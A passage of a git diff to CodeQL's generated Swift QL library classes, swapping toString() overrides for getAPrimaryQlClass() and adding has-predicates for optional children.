 import codeql.swift.elements.expr.LiteralExpr
 
 class RegexLiteralExprBase extends @regex_literal_expr, LiteralExpr {
-  override string toString() { result = "RegexLiteralExpr" }
+  override string getAPrimaryQlClass() { result = "RegexLiteralExpr" }
 }
diff --git a/swift/ql/lib/codeql/swift/generated/expr/SequenceExpr.qll b/swift/ql/lib/codeql/swift/generated/expr/SequenceExpr.qll
index 6de638ea809..0361c393a72 100644
--- a/swift/ql/lib/codeql/swift/generated/expr/SequenceExpr.qll
+++ b/swift/ql/lib/codeql/swift/generated/expr/SequenceExpr.qll
@@ -2,5 +2,5 @@
 import codeql.swift.elements.expr.Expr
 
 class SequenceExprBase extends @sequence_expr, Expr {
-  override string toString() { result = "SequenceExpr" }
+  override string getAPrimaryQlClass() { result = "SequenceExpr" }
 }
diff --git a/swift/ql/lib/codeql/swift/generated/expr/StringLiteralExpr.qll b/swift/ql/lib/codeql/swift/generated/expr/StringLiteralExpr.qll
index 3f9693ba780..bb8e4174ad7 100644
--- a/swift/ql/lib/codeql/swift/generated/expr/StringLiteralExpr.qll
+++ b/swift/ql/lib/codeql/swift/generated/expr/StringLiteralExpr.qll
@@ -2,7 +2,7 @@
 import codeql.swift.elements.expr.BuiltinLiteralExpr
 
 class StringLiteralExprBase extends @string_literal_expr, BuiltinLiteralExpr {
-  override string toString() { result = "StringLiteralExpr" }
+  override string getAPrimaryQlClass() { result = "StringLiteralExpr" }
 
   string getValue() { string_literal_exprs(this, result) }
 }
diff --git a/swift/ql/lib/codeql/swift/generated/expr/StringToPointerExpr.qll b/swift/ql/lib/codeql/swift/generated/expr/StringToPointerExpr.qll
index 0a1d64dcc6f..ec679e974fb 100644
--- a/swift/ql/lib/codeql/swift/generated/expr/StringToPointerExpr.qll
+++ b/swift/ql/lib/codeql/swift/generated/expr/StringToPointerExpr.qll
@@ -2,5 +2,5 @@
 import codeql.swift.elements.expr.ImplicitConversionExpr
 
 class StringToPointerExprBase extends @string_to_pointer_expr, ImplicitConversionExpr {
-  override string toString() { result = "StringToPointerExpr" }
+  override string getAPrimaryQlClass() { result = "StringToPointerExpr" }
 }
diff --git a/swift/ql/lib/codeql/swift/generated/expr/SubscriptExpr.qll b/swift/ql/lib/codeql/swift/generated/expr/SubscriptExpr.qll
index 98f201103b8..cddbe8e8a2b 100644
--- a/swift/ql/lib/codeql/swift/generated/expr/SubscriptExpr.qll
+++ b/swift/ql/lib/codeql/swift/generated/expr/SubscriptExpr.qll
@@ -5,7 +5,7 @@ import codeql.swift.elements.decl.GenericContext
 import codeql.swift.elements.expr.LookupExpr
 
 class SubscriptExprBase extends @subscript_expr, GenericContext, LookupExpr {
-  override string toString() { result = "SubscriptExpr" }
+  override string getAPrimaryQlClass() { result = "SubscriptExpr" }
 
   Expr getBaseExpr() {
     exists(Expr x |
diff --git a/swift/ql/lib/codeql/swift/generated/expr/SuperRefExpr.qll b/swift/ql/lib/codeql/swift/generated/expr/SuperRefExpr.qll
index ec5c04c5a31..3513af5c0d7 100644
--- a/swift/ql/lib/codeql/swift/generated/expr/SuperRefExpr.qll
+++ b/swift/ql/lib/codeql/swift/generated/expr/SuperRefExpr.qll
@@ -3,7 +3,7 @@ import codeql.swift.elements.expr.Expr
 import codeql.swift.elements.decl.VarDecl
 
 class SuperRefExprBase extends @super_ref_expr, Expr {
-  override string toString() { result = "SuperRefExpr" }
+  override string getAPrimaryQlClass() { result = "SuperRefExpr" }
 
   VarDecl getSelf() {
     exists(VarDecl x |
diff --git a/swift/ql/lib/codeql/swift/generated/expr/TapExpr.qll b/swift/ql/lib/codeql/swift/generated/expr/TapExpr.qll
index 4f537f65229..a61533704e6 100644
--- a/swift/ql/lib/codeql/swift/generated/expr/TapExpr.qll
+++ b/swift/ql/lib/codeql/swift/generated/expr/TapExpr.qll
@@ -4,7 +4,7 @@ import codeql.swift.elements.expr.Expr
 import codeql.swift.elements.decl.VarDecl
 
 class TapExprBase extends @tap_expr, Expr {
-  override string toString() { result = "TapExpr" }
+  override string getAPrimaryQlClass() { result = "TapExpr" }
 
   Expr getSubExpr() {
     exists(Expr x |
@@ -13,6 +13,8 @@ class TapExprBase extends @tap_expr, Expr {
     )
   }
 
+  predicate hasSubExpr() { exists(getSubExpr()) }
+
   VarDecl getVar() {
     exists(VarDecl x |
       tap_exprs(this, x, _) and
diff --git a/swift/ql/lib/codeql/swift/generated/expr/TryExpr.qll b/swift/ql/lib/codeql/swift/generated/expr/TryExpr.qll
index 06f1d82f37e..2e14a85bd16 100644
--- a/swift/ql/lib/codeql/swift/generated/expr/TryExpr.qll
+++ b/swift/ql/lib/codeql/swift/generated/expr/TryExpr.qll
@@ -2,5 +2,5 @@
 import codeql.swift.elements.expr.AnyTryExpr
 
 class TryExprBase extends @try_expr, AnyTryExpr {
-  override string toString() { result = "TryExpr" }
+  override string getAPrimaryQlClass() { result = "TryExpr" }
 }
diff --git a/swift/ql/lib/codeql/swift/generated/expr/TupleElementExpr.qll b/swift/ql/lib/codeql/swift/generated/expr/TupleElementExpr.qll
index 4b3e0728ace..4281d8d875c 100644
--- a/swift/ql/lib/codeql/swift/generated/expr/TupleElementExpr.qll
+++ b/swift/ql/lib/codeql/swift/generated/expr/TupleElementExpr.qll
@@ -2,7 +2,7 @@
 import codeql.swift.elements.expr.Expr
 
 class TupleElementExprBase extends @tuple_element_expr, Expr {
-  override string toString() { result = "TupleElementExpr" }
+  override string getAPrimaryQlClass() { result = "TupleElementExpr" }
 
   Expr getSubExpr() {
     exists(Expr x |
diff --git a/swift/ql/lib/codeql/swift/generated/expr/TupleExpr.qll b/swift/ql/lib/codeql/swift/generated/expr/TupleExpr.qll
index c3d6210299d..b985d64d111 100644
--- a/swift/ql/lib/codeql/swift/generated/expr/TupleExpr.qll
+++ b/swift/ql/lib/codeql/swift/generated/expr/TupleExpr.qll
@@ -2,7 +2,7 @@
 import codeql.swift.elements.expr.Expr
 
 class TupleExprBase extends @tuple_expr, Expr {
-  override string toString() { result = "TupleExpr" }
+  override string getAPrimaryQlClass() { result = "TupleExpr" }
 
   Expr getElement(int index) {
     exists(Expr x |
diff --git a/swift/ql/lib/codeql/swift/generated/expr/TypeExpr.qll b/swift/ql/lib/codeql/swift/generated/expr/TypeExpr.qll
index 584ad811cab..8b9e238b3ca 100644
--- a/swift/ql/lib/codeql/swift/generated/expr/TypeExpr.qll
+++ b/swift/ql/lib/codeql/swift/generated/expr/TypeExpr.qll
@@ -3,7 +3,7 @@ import codeql.swift.elements.expr.Expr
 import codeql.swift.elements.typerepr.TypeRepr
 
 class TypeExprBase extends @type_expr, Expr {
-  override string toString() { result = "TypeExpr" }
+  override string getAPrimaryQlClass() { result = "TypeExpr" }
 
   TypeRepr getTypeRepr() {
     exists(TypeRepr x |
@@ -11,4 +11,6 @@ class TypeExprBase extends @type_expr, Expr {
       result = x.resolve()
     )
   }
+
+  predicate hasTypeRepr() { exists(getTypeRepr()) }
 }
diff --git a/swift/ql/lib/codeql/swift/generated/expr/UnderlyingToOpaqueExpr.qll b/swift/ql/lib/codeql/swift/generated/expr/UnderlyingToOpaqueExpr.qll
index 710c357d689..314b404b11b 100644
--- a/swift/ql/lib/codeql/swift/generated/expr/UnderlyingToOpaqueExpr.qll
+++ b/swift/ql/lib/codeql/swift/generated/expr/UnderlyingToOpaqueExpr.qll
@@ -2,5 +2,5 @@
 import codeql.swift.elements.expr.ImplicitConversionExpr
 
 class UnderlyingToOpaqueExprBase extends @underlying_to_opaque_expr, ImplicitConversionExpr {
-  override string toString() { result = "UnderlyingToOpaqueExpr" }
+  override string getAPrimaryQlClass() { result = "UnderlyingToOpaqueExpr" }
 }
diff --git a/swift/ql/lib/codeql/swift/generated/expr/UnevaluatedInstanceExpr.qll b/swift/ql/lib/codeql/swift/generated/expr/UnevaluatedInstanceExpr.qll
index 4aec9923cf5..659f52e3fe2 100644
--- a/swift/ql/lib/codeql/swift/generated/expr/UnevaluatedInstanceExpr.qll
+++ b/swift/ql/lib/codeql/swift/generated/expr/UnevaluatedInstanceExpr.qll
@@ -2,5 +2,5 @@
 import codeql.swift.elements.expr.ImplicitConversionExpr
 
 class UnevaluatedInstanceExprBase extends @unevaluated_instance_expr, ImplicitConversionExpr {
-  override string toString() { result = "UnevaluatedInstanceExpr" }
+  override string getAPrimaryQlClass() { result = "UnevaluatedInstanceExpr" }
 }
diff --git a/swift/ql/lib/codeql/swift/generated/expr/UnresolvedDeclRefExpr.qll b/swift/ql/lib/codeql/swift/generated/expr/UnresolvedDeclRefExpr.qll
index c3f7ed0f5b1..d30ac8d5d10 100644
--- a/swift/ql/lib/codeql/swift/generated/expr/UnresolvedDeclRefExpr.qll
+++ b/swift/ql/lib/codeql/swift/generated/expr/UnresolvedDeclRefExpr.qll
@@ -2,5 +2,5 @@
 import codeql.swift.elements.expr.Expr
 
 class UnresolvedDeclRefExprBase extends @unresolved_decl_ref_expr, Expr {
-  override string toString() { result = "UnresolvedDeclRefExpr" }
+  override string getAPrimaryQlClass() { result = "UnresolvedDeclRefExpr" }
 }
diff --git a/swift/ql/lib/codeql/swift/generated/expr/UnresolvedDotExpr.qll b/swift/ql/lib/codeql/swift/generated/expr/UnresolvedDotExpr.qll
index e77552916bc..4aa821a1476 100644
--- a/swift/ql/lib/codeql/swift/generated/expr/UnresolvedDotExpr.qll
+++ b/swift/ql/lib/codeql/swift/generated/expr/UnresolvedDotExpr.qll
@@ -2,5 +2,5 @@
 import codeql.swift.elements.expr.Expr
 
 class UnresolvedDotExprBase extends @unresolved_dot_expr, Expr {
-  override string toString() { result = "UnresolvedDotExpr" }
+  override string getAPrimaryQlClass() { result = "UnresolvedDotExpr" }
 }
diff --git a/swift/ql/lib/codeql/swift/generated/expr/UnresolvedMemberChainResultExpr.qll b/swift/ql/lib/codeql/swift/generated/expr/UnresolvedMemberChainResultExpr.qll
index b2021ed8e60..fde8b29000e 100644
--- a/swift/ql/lib/codeql/swift/generated/expr/UnresolvedMemberChainResultExpr.qll
+++ b/swift/ql/lib/codeql/swift/generated/expr/UnresolvedMemberChainResultExpr.qll
@@ -2,5 +2,5 @@
 import codeql.swift.elements.expr.IdentityExpr
 
 class UnresolvedMemberChainResultExprBase extends @unresolved_member_chain_result_expr, IdentityExpr {
-  override string toString() { result = "UnresolvedMemberChainResultExpr" }
+  override string getAPrimaryQlClass() { result = "UnresolvedMemberChainResultExpr" }
 }
diff --git a/swift/ql/lib/codeql/swift/generated/expr/UnresolvedMemberExpr.qll b/swift/ql/lib/codeql/swift/generated/expr/UnresolvedMemberExpr.qll
index 5591495d7c4..5cb908bdd18 100644
--- a/swift/ql/lib/codeql/swift/generated/expr/UnresolvedMemberExpr.qll
+++ b/swift/ql/lib/codeql/swift/generated/expr/UnresolvedMemberExpr.qll
@@ -2,5 +2,5 @@
 import codeql.swift.elements.expr.Expr
 
 class UnresolvedMemberExprBase extends @unresolved_member_expr, Expr {
-  override string toString() { result = "UnresolvedMemberExpr" }
+  override string getAPrimaryQlClass() { result = "UnresolvedMemberExpr" }
 }
diff --git a/swift/ql/lib/codeql/swift/generated/expr/UnresolvedPatternExpr.qll b/swift/ql/lib/codeql/swift/generated/expr/UnresolvedPatternExpr.qll
index ea903e736b9..8d03b2079aa 100644
--- a/swift/ql/lib/codeql/swift/generated/expr/UnresolvedPatternExpr.qll
+++ b/swift/ql/lib/codeql/swift/generated/expr/UnresolvedPatternExpr.qll
@@ -2,5 +2,5 @@
 import codeql.swift.elements.expr.Expr
 
 class UnresolvedPatternExprBase extends @unresolved_pattern_expr, Expr {
-  override string toString() { result = "UnresolvedPatternExpr" }
+  override string getAPrimaryQlClass() { result = "UnresolvedPatternExpr" }
 }
diff --git a/swift/ql/lib/codeql/swift/generated/expr/UnresolvedSpecializeExpr.qll b/swift/ql/lib/codeql/swift/generated/expr/UnresolvedSpecializeExpr.qll
index 25d0c998c88..6109728e089 100644
--- a/swift/ql/lib/codeql/swift/generated/expr/UnresolvedSpecializeExpr.qll
+++ b/swift/ql/lib/codeql/swift/generated/expr/UnresolvedSpecializeExpr.qll
@@ -2,5 +2,5 @@
 import codeql.swift.elements.expr.Expr
 
 class UnresolvedSpecializeExprBase extends @unresolved_specialize_expr, Expr {
-  override string toString() { result = "UnresolvedSpecializeExpr" }
+  override string getAPrimaryQlClass() { result = "UnresolvedSpecializeExpr" }
 }
diff --git a/swift/ql/lib/codeql/swift/generated/expr/UnresolvedTypeConversionExpr.qll b/swift/ql/lib/codeql/swift/generated/expr/UnresolvedTypeConversionExpr.qll
index 4878b79873e..fb4f5259c0a 100644
--- a/swift/ql/lib/codeql/swift/generated/expr/UnresolvedTypeConversionExpr.qll
+++ b/swift/ql/lib/codeql/swift/generated/expr/UnresolvedTypeConversionExpr.qll
@@ -3,5 +3,5 @@ import codeql.swift.elements.expr.ImplicitConversionExpr
 
 class UnresolvedTypeConversionExprBase extends @unresolved_type_conversion_expr,
   ImplicitConversionExpr {
-  override string toString() { result = "UnresolvedTypeConversionExpr" }
+  override string getAPrimaryQlClass() { result = "UnresolvedTypeConversionExpr" }
 }
diff --git a/swift/ql/lib/codeql/swift/generated/expr/VarargExpansionExpr.qll b/swift/ql/lib/codeql/swift/generated/expr/VarargExpansionExpr.qll
index c420ef75619..b72261cf82f 100644
--- a/swift/ql/lib/codeql/swift/generated/expr/VarargExpansionExpr.qll
+++ b/swift/ql/lib/codeql/swift/generated/expr/VarargExpansionExpr.qll
@@ -2,7 +2,7 @@
 import codeql.swift.elements.expr.Expr
 
 class VarargExpansionExprBase extends @vararg_expansion_expr, Expr {
-  override string toString() { result = "VarargExpansionExpr" }
+  override string getAPrimaryQlClass() { result = "VarargExpansionExpr" }
 
   Expr getSubExpr() {
     exists(Expr x |
diff --git a/swift/ql/lib/codeql/swift/generated/pattern/AnyPattern.qll b/swift/ql/lib/codeql/swift/generated/pattern/AnyPattern.qll
index 04868020580..d4349ccaa7e 100644
--- a/swift/ql/lib/codeql/swift/generated/pattern/AnyPattern.qll
+++ b/swift/ql/lib/codeql/swift/generated/pattern/AnyPattern.qll
@@ -2,5 +2,5 @@
 import codeql.swift.elements.pattern.Pattern
 
 class AnyPatternBase extends @any_pattern, Pattern {
-  override string toString() { result = "AnyPattern" }
+  override string getAPrimaryQlClass() { result = "AnyPattern" }
 }
diff --git a/swift/ql/lib/codeql/swift/generated/pattern/BindingPattern.qll b/swift/ql/lib/codeql/swift/generated/pattern/BindingPattern.qll
index 02446bb7729..0303ddab467 100644
--- a/swift/ql/lib/codeql/swift/generated/pattern/BindingPattern.qll
+++ b/swift/ql/lib/codeql/swift/generated/pattern/BindingPattern.qll
@@ -2,7 +2,7 @@
 import codeql.swift.elements.pattern.Pattern
 
 class BindingPatternBase extends @binding_pattern, Pattern {
-  override string toString() { result = "BindingPattern" }
+  override string getAPrimaryQlClass() { result = "BindingPattern" }
 
   Pattern getSubPattern() {
     exists(Pattern x |
diff --git a/swift/ql/lib/codeql/swift/generated/pattern/BoolPattern.qll b/swift/ql/lib/codeql/swift/generated/pattern/BoolPattern.qll
index b533d9243eb..2890e662e28 100644
--- a/swift/ql/lib/codeql/swift/generated/pattern/BoolPattern.qll
+++ b/swift/ql/lib/codeql/swift/generated/pattern/BoolPattern.qll
@@ -2,7 +2,7 @@
 import codeql.swift.elements.pattern.Pattern
 
 class BoolPatternBase extends @bool_pattern, Pattern {
-  override string toString() { result = "BoolPattern" }
+  override string getAPrimaryQlClass() { result = "BoolPattern" }
 
   boolean getValue() { bool_patterns(this, result) }
 }
diff --git a/swift/ql/lib/codeql/swift/generated/pattern/EnumElementPattern.qll b/swift/ql/lib/codeql/swift/generated/pattern/EnumElementPattern.qll
index fb7ade93a8b..e0df35b15a0 100644
--- a/swift/ql/lib/codeql/swift/generated/pattern/EnumElementPattern.qll
+++ b/swift/ql/lib/codeql/swift/generated/pattern/EnumElementPattern.qll
@@ -3,7 +3,7 @@ import codeql.swift.elements.decl.EnumElementDecl
 import codeql.swift.elements.pattern.Pattern
 
 class EnumElementPatternBase extends @enum_element_pattern, Pattern {
-  override string toString() { result = "EnumElementPattern" }
+  override string getAPrimaryQlClass() { result = "EnumElementPattern" }
 
   EnumElementDecl getElement() {
     exists(EnumElementDecl x |
@@ -18,4 +18,6 @@ class EnumElementPatternBase extends @enum_element_pattern, Pattern {
       result = x.resolve()
     )
   }
+
+  predicate hasSubPattern() { exists(getSubPattern()) }
 }
diff --git a/swift/ql/lib/codeql/swift/generated/pattern/ExprPattern.qll b/swift/ql/lib/codeql/swift/generated/pattern/ExprPattern.qll
index 2114614f348..75fdb81cad9 100644
--- a/swift/ql/lib/codeql/swift/generated/pattern/ExprPattern.qll
+++ b/swift/ql/lib/codeql/swift/generated/pattern/ExprPattern.qll
@@ -3,7 +3,7 @@ import codeql.swift.elements.expr.Expr
 import codeql.swift.elements.pattern.Pattern
 
 class ExprPatternBase extends @expr_pattern, Pattern {
-  override string toString() { result = "ExprPattern" }
+  override string getAPrimaryQlClass() { result = "ExprPattern" }
 
   Expr getSubExpr() {
     exists(Expr x |
diff --git a/swift/ql/lib/codeql/swift/generated/pattern/IsPattern.qll b/swift/ql/lib/codeql/swift/generated/pattern/IsPattern.qll
index dda92156f27..8caf5493b36 100644
--- a/swift/ql/lib/codeql/swift/generated/pattern/IsPattern.qll
+++ b/swift/ql/lib/codeql/swift/generated/pattern/IsPattern.qll
@@ -3,7 +3,7 @@ import codeql.swift.elements.pattern.Pattern
 import codeql.swift.elements.typerepr.TypeRepr
 
 class IsPatternBase extends @is_pattern, Pattern {
-  override string toString() { result = "IsPattern" }
+  override string getAPrimaryQlClass() { result = "IsPattern" }
 
   TypeRepr getCastTypeRepr() {
     exists(TypeRepr x |
@@ -12,10 +12,14 @@ class IsPatternBase extends @is_pattern, Pattern {
     )
   }
 
+  predicate hasCastTypeRepr() { exists(getCastTypeRepr()) }
+
   Pattern getSubPattern() {
     exists(Pattern x |
       is_pattern_sub_patterns(this, x) and
       result = x.resolve()
     )
   }
+
+  predicate hasSubPattern() { exists(getSubPattern()) }
 }
diff --git a/swift/ql/lib/codeql/swift/generated/pattern/NamedPattern.qll b/swift/ql/lib/codeql/swift/generated/pattern/NamedPattern.qll
index 833474b11e9..a3d382fda9e 100644
--- a/swift/ql/lib/codeql/swift/generated/pattern/NamedPattern.qll
+++ b/swift/ql/lib/codeql/swift/generated/pattern/NamedPattern.qll
@@ -2,7 +2,7 @@
 import codeql.swift.elements.pattern.Pattern
 
 class NamedPatternBase extends @named_pattern, Pattern {
-  override string toString() { result = "NamedPattern" }
+  override string getAPrimaryQlClass() { result = "NamedPattern" }
 
   string getName() { named_patterns(this, result) }
 }
diff --git a/swift/ql/lib/codeql/swift/generated/pattern/OptionalSomePattern.qll b/swift/ql/lib/codeql/swift/generated/pattern/OptionalSomePattern.qll
index bd205e2fe1d..3517777b9ce 100644
--- a/swift/ql/lib/codeql/swift/generated/pattern/OptionalSomePattern.qll
+++ b/swift/ql/lib/codeql/swift/generated/pattern/OptionalSomePattern.qll
@@ -2,7 +2,7 @@
 import codeql.swift.elements.pattern.Pattern
 
 class OptionalSomePatternBase extends @optional_some_pattern, Pattern {
-  override string toString() { result = "OptionalSomePattern" }
+  override string getAPrimaryQlClass() { result = "OptionalSomePattern" }
 
   Pattern getSubPattern() {
     exists(Pattern x |
diff --git a/swift/ql/lib/codeql/swift/generated/pattern/ParenPattern.qll b/swift/ql/lib/codeql/swift/generated/pattern/ParenPattern.qll
index f3ddab4b9dd..63d5e2909ec 100644
--- a/swift/ql/lib/codeql/swift/generated/pattern/ParenPattern.qll
+++ b/swift/ql/lib/codeql/swift/generated/pattern/ParenPattern.qll
@@ -2,7 +2,7 @@
 import codeql.swift.elements.pattern.Pattern
 
 class ParenPatternBase extends @paren_pattern, Pattern {
-  override string toString() { result = "ParenPattern" }
+  override string getAPrimaryQlClass() { result = "ParenPattern" }
 
   Pattern getSubPattern() {
     exists(Pattern x |
diff --git a/swift/ql/lib/codeql/swift/generated/pattern/TuplePattern.qll b/swift/ql/lib/codeql/swift/generated/pattern/TuplePattern.qll
index f1de477cc55..b9eb01c83c9 100644
--- a/swift/ql/lib/codeql/swift/generated/pattern/TuplePattern.qll
+++ b/swift/ql/lib/codeql/swift/generated/pattern/TuplePattern.qll
@@ -2,7 +2,7 @@
 import codeql.swift.elements.pattern.Pattern
 
 class TuplePatternBase extends @tuple_pattern, Pattern {
-  override string toString() { result = "TuplePattern" }
+  override string getAPrimaryQlClass() { result = "TuplePattern" }
 
   Pattern getElement(int index) {
     exists(Pattern x |
diff --git a/swift/ql/lib/codeql/swift/generated/pattern/TypedPattern.qll b/swift/ql/lib/codeql/swift/generated/pattern/TypedPattern.qll
index e86ca301fdc..9a16c9cfe02 100644
--- a/swift/ql/lib/codeql/swift/generated/pattern/TypedPattern.qll
+++ b/swift/ql/lib/codeql/swift/generated/pattern/TypedPattern.qll
@@ -3,7 +3,7 @@ import codeql.swift.elements.pattern.Pattern
 import codeql.swift.elements.typerepr.TypeRepr
 
 class TypedPatternBase extends @typed_pattern, Pattern {
-  override string toString() { result = "TypedPattern" }
+  override string getAPrimaryQlClass() { result = "TypedPattern" }
 
   Pattern getSubPattern() {
     exists(Pattern x |
@@ -18,4 +18,6 @@ class TypedPatternBase extends @typed_pattern, Pattern {
       result = x.resolve()
     )
   }
+
+  predicate hasTypeRepr() { exists(getTypeRepr()) }
 }
diff --git a/swift/ql/lib/codeql/swift/generated/stmt/BraceStmt.qll b/swift/ql/lib/codeql/swift/generated/stmt/BraceStmt.qll
index 6515d0ac26a..0cb37ff31bf 100644
--- a/swift/ql/lib/codeql/swift/generated/stmt/BraceStmt.qll
+++ b/swift/ql/lib/codeql/swift/generated/stmt/BraceStmt.qll
@@ -3,7 +3,7 @@ import codeql.swift.elements.AstNode
 import codeql.swift.elements.stmt.Stmt
 
 class BraceStmtBase extends @brace_stmt, Stmt {
-  override string toString() { result = "BraceStmt" }
+  override string getAPrimaryQlClass() { result = "BraceStmt" }
 
   AstNode getElement(int index) {
     exists(AstNode x |
diff --git a/swift/ql/lib/codeql/swift/generated/stmt/BreakStmt.qll b/swift/ql/lib/codeql/swift/generated/stmt/BreakStmt.qll
index d0e0a84c59d..05ba4de8fd3 100644
--- a/swift/ql/lib/codeql/swift/generated/stmt/BreakStmt.qll
+++ b/swift/ql/lib/codeql/swift/generated/stmt/BreakStmt.qll
@@ -2,14 +2,18 @@
 import codeql.swift.elements.stmt.Stmt
 
 class BreakStmtBase extends @break_stmt, Stmt {
-  override string toString() { result = "BreakStmt" }
+  override string getAPrimaryQlClass() { result = "BreakStmt" }
 
   string getTargetName() { break_stmt_target_names(this, result) }
 
+  predicate hasTargetName() { exists(getTargetName()) }
+
   Stmt getTarget() {
     exists(Stmt x |
       break_stmt_targets(this, x) and
       result = x.resolve()
     )
   }
+
+  predicate hasTarget() { exists(getTarget()) }
 }
diff --git a/swift/ql/lib/codeql/swift/generated/stmt/CaseLabelItem.qll b/swift/ql/lib/codeql/swift/generated/stmt/CaseLabelItem.qll
index f5f9680ed6c..f4f00f285b0 100644
--- a/swift/ql/lib/codeql/swift/generated/stmt/CaseLabelItem.qll
+++ b/swift/ql/lib/codeql/swift/generated/stmt/CaseLabelItem.qll
@@ -4,7 +4,7 @@ import codeql.swift.elements.expr.Expr
 import codeql.swift.elements.pattern.Pattern
 
 class CaseLabelItemBase extends @case_label_item, AstNode {
-  override string toString() { result = "CaseLabelItem" }
+  override string getAPrimaryQlClass() { result = "CaseLabelItem" }
 
   Pattern getPattern() {
     exists(Pattern x |
@@ -19,4 +19,6 @@ class CaseLabelItemBase extends @case_label_item, AstNode {
       result = x.resolve()
     )
   }
+
+  predicate hasGuard() { exists(getGuard()) }
 }
diff --git a/swift/ql/lib/codeql/swift/generated/stmt/CaseStmt.qll b/swift/ql/lib/codeql/swift/generated/stmt/CaseStmt.qll
index 030a0236c07..d7111914429 100644
--- a/swift/ql/lib/codeql/swift/generated/stmt/CaseStmt.qll
+++ b/swift/ql/lib/codeql/swift/generated/stmt/CaseStmt.qll
@@ -4,7 +4,7 @@ import codeql.swift.elements.stmt.Stmt
 import codeql.swift.elements.decl.VarDecl
 
 class CaseStmtBase extends @case_stmt, Stmt {
-  override string toString() { result = "CaseStmt" }
+  override string getAPrimaryQlClass() { result = "CaseStmt" }
 
   Stmt getBody() {
     exists(Stmt x |
diff --git a/swift/ql/lib/codeql/swift/generated/stmt/ConditionElement.qll b/swift/ql/lib/codeql/swift/generated/stmt/ConditionElement.qll
index c704c8f2710..eb68c35bdf0 100644
--- a/swift/ql/lib/codeql/swift/generated/stmt/ConditionElement.qll
+++ b/swift/ql/lib/codeql/swift/generated/stmt/ConditionElement.qll
@@ -4,7 +4,7 @@ import codeql.swift.elements.Locatable
 import codeql.swift.elements.pattern.Pattern
 
 class ConditionElementBase extends @condition_element, Locatable {
-  override string toString() { result = "ConditionElement" }
+  override string getAPrimaryQlClass() { result = "ConditionElement" }
 
   Expr getBoolean() {
     exists(Expr x |
@@ -13,6 +13,8 @@ class ConditionElementBase extends @condition_element, Locatable {
     )
   }
 
+  predicate hasBoolean() { exists(getBoolean()) }
+
   Pattern getPattern() {
     exists(Pattern x |
       condition_element_patterns(this, x) and
@@ -20,10 +22,14 @@ class ConditionElementBase extends @condition_element, Locatable {
     )
   }
 
+  predicate hasPattern() { exists(getPattern()) }
+
   Expr getInitializer() {
     exists(Expr x |
       condition_element_initializers(this, x) and
       result = x.resolve()
     )
   }
+
+  predicate hasInitializer() { exists(getInitializer()) }
 }
diff --git a/swift/ql/lib/codeql/swift/generated/stmt/ContinueStmt.qll b/swift/ql/lib/codeql/swift/generated/stmt/ContinueStmt.qll
index 0c616fc659a..10e6b2ac302 100644
--- a/swift/ql/lib/codeql/swift/generated/stmt/ContinueStmt.qll
+++ b/swift/ql/lib/codeql/swift/generated/stmt/ContinueStmt.qll
@@ -2,14 +2,18 @@
 import codeql.swift.elements.stmt.Stmt
 
 class ContinueStmtBase extends @continue_stmt, Stmt {
-  override string toString() { result = "ContinueStmt" }
+  override string getAPrimaryQlClass() { result = "ContinueStmt" }
 
   string getTargetName() { continue_stmt_target_names(this, result) }
 
+  predicate hasTargetName() { exists(getTargetName()) }
+
   Stmt getTarget() {
     exists(Stmt x |
       continue_stmt_targets(this, x) and
       result = x.resolve()
     )
   }
+
+  predicate hasTarget() { exists(getTarget()) }
 }
diff --git a/swift/ql/lib/codeql/swift/generated/stmt/DeferStmt.qll b/swift/ql/lib/codeql/swift/generated/stmt/DeferStmt.qll
index cbf703972f5..7edd92fe917 100644
--- a/swift/ql/lib/codeql/swift/generated/stmt/DeferStmt.qll
+++ b/swift/ql/lib/codeql/swift/generated/stmt/DeferStmt.qll
@@ -3,7 +3,7 @@ import codeql.swift.elements.stmt.BraceStmt
 import codeql.swift.elements.stmt.Stmt
 
 class DeferStmtBase extends @defer_stmt, Stmt {
-  override string toString() { result = "DeferStmt" }
+  override string getAPrimaryQlClass() { result = "DeferStmt" }
 
   BraceStmt getBody() {
     exists(BraceStmt x |
diff --git a/swift/ql/lib/codeql/swift/generated/stmt/DoCatchStmt.qll b/swift/ql/lib/codeql/swift/generated/stmt/DoCatchStmt.qll
index 92d2664af0d..7f98906d007 100644
--- a/swift/ql/lib/codeql/swift/generated/stmt/DoCatchStmt.qll
+++ b/swift/ql/lib/codeql/swift/generated/stmt/DoCatchStmt.qll
@@ -4,7 +4,7 @@ import codeql.swift.elements.stmt.LabeledStmt
 import codeql.swift.elements.stmt.Stmt
 
 class DoCatchStmtBase extends @do_catch_stmt, LabeledStmt {
-  override string toString() { result = "DoCatchStmt" }
+  override string getAPrimaryQlClass() { result = "DoCatchStmt" }
 
   Stmt getBody() {
     exists(Stmt x |
diff --git a/swift/ql/lib/codeql/swift/generated/stmt/DoStmt.qll b/swift/ql/lib/codeql/swift/generated/stmt/DoStmt.qll
index d3b3964c13f..f83646426e4 100644
--- a/swift/ql/lib/codeql/swift/generated/stmt/DoStmt.qll
+++ b/swift/ql/lib/codeql/swift/generated/stmt/DoStmt.qll
@@ -3,7 +3,7 @@ import codeql.swift.elements.stmt.BraceStmt
 import codeql.swift.elements.stmt.LabeledStmt
 
 class DoStmtBase extends @do_stmt, LabeledStmt {
-  override string toString() { result = "DoStmt" }
+  override string getAPrimaryQlClass() { result = "DoStmt" }
 
   BraceStmt getBody() {
     exists(BraceStmt x |
diff --git a/swift/ql/lib/codeql/swift/generated/stmt/FailStmt.qll b/swift/ql/lib/codeql/swift/generated/stmt/FailStmt.qll
index b045005cb7f..15f69def40d 100644
--- a/swift/ql/lib/codeql/swift/generated/stmt/FailStmt.qll
+++ b/swift/ql/lib/codeql/swift/generated/stmt/FailStmt.qll
@@ -2,5 +2,5 @@
 import codeql.swift.elements.stmt.Stmt
 
 class FailStmtBase extends @fail_stmt, Stmt {
-  override string toString() { result = "FailStmt" }
+  override string getAPrimaryQlClass() { result = "FailStmt" }
 }
diff --git a/swift/ql/lib/codeql/swift/generated/stmt/FallthroughStmt.qll b/swift/ql/lib/codeql/swift/generated/stmt/FallthroughStmt.qll
index beac80ab918..5faaac0ad9b 100644
--- a/swift/ql/lib/codeql/swift/generated/stmt/FallthroughStmt.qll
+++ b/swift/ql/lib/codeql/swift/generated/stmt/FallthroughStmt.qll
@@ -3,7 +3,7 @@ import codeql.swift.elements.stmt.CaseStmt
 import codeql.swift.elements.stmt.Stmt
 
 class FallthroughStmtBase extends @fallthrough_stmt, Stmt {
-  override string toString() { result = "FallthroughStmt" }
+  override string getAPrimaryQlClass() { result = "FallthroughStmt" }
 
   CaseStmt getFallthroughSource() {
     exists(CaseStmt x |
